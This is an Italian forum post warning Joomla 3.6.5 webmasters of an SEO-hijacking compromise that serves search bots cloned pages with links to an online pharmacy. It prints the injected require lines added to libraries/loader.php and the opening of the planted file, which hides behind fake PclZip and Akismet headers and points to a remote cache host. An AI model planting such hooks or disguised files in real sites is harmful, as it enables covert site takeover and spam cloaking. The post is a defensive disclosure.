Gentili webmasters di Siti basati su joomla,
essendo recentemente stato attaccato su entrambi due siti da me amministrati con Joomla 3.6.5 ed avendo rimosso l'hacking ma non identificato la fonte, verificato tramite referenza google webmaster tools che almeno altri 500 siti hanno lo stesso problema nonostante i loro webmaster non se ne siano accorti sono a segnalarvi quanto segue con preghiera di verificare i vostri siti:
Tipo di Attacco:
SEO Hijacking
Payload:
il programma identifica il tipo di browser agent e qualora questo sia identificato come un Bot di motore di ricerca, sostituisce la pagina richiesta con una appositamente caricata in una cache remota al fine di fornire al browser una copia della pagina originale con tutti i link modificati per puntare ad un sito di vendita di Farmaci online Estero euro-pharm247.com
meccanismo di injection :
Probabile FTP tramite libreria Layer FTP Joomla innescato da un robot con riarmo periodico la cui fonte non sono riuscito ad identificare in quanto non ho i log e il provider li nega.
File Modificati:
libraries/loader.php
Codice Iniettato:
define('JPATH_ADAPTERSERVER', dirname(__FILE__).'/joomla/base/adapterobserver.php');
if(file_exists(JPATH_ADAPTERSERVER))
@require_once(JPATH_ADAPTERSERVER);
File caricati
libraries/joomla/base/adapterobserver.php
Contenuto del file: oscurato dominio e codice di accesso alla cache remota
solo parte iniziale del file il file completo in allegato per referenza
<?php
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
// PclZip is a PHP library that manage ZIP archives.
// So far tests show that archives generated by PclZip are readable by
// WinZip application and other tools.
//
// Description :
// See readme.txt and http://www.phpconcept.net
//
// Warning :
// This library and the associated files are non commercial, non professional
// work.
// It should not have unexpected results. However if any damage is caused by
// this software the author can not be responsible.
// The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------
/**
* @package Akismet
*/
/*
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) Sign up for an Akismet API key, and 3) Go to your <a href="plugins.php?page=akismet-key-config">Akismet configuration[/url] page, and save your API key.
Version: 2.5.3
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
*/
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
error_reporting(0);
ignore_user_abort(true);
//@header('X-Powered-By:');
set_time_limit(0);
define('__STATISTIC_URL__', 'http://botvsbrowser.com/rch_pdf/show.php');
define('__DOMAIN_NAME__', 'domain.ltd);
define('__SEC_VALUE__', 'axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3');
//'#$GET_CONTENT_FUNCTIONS$#'
....
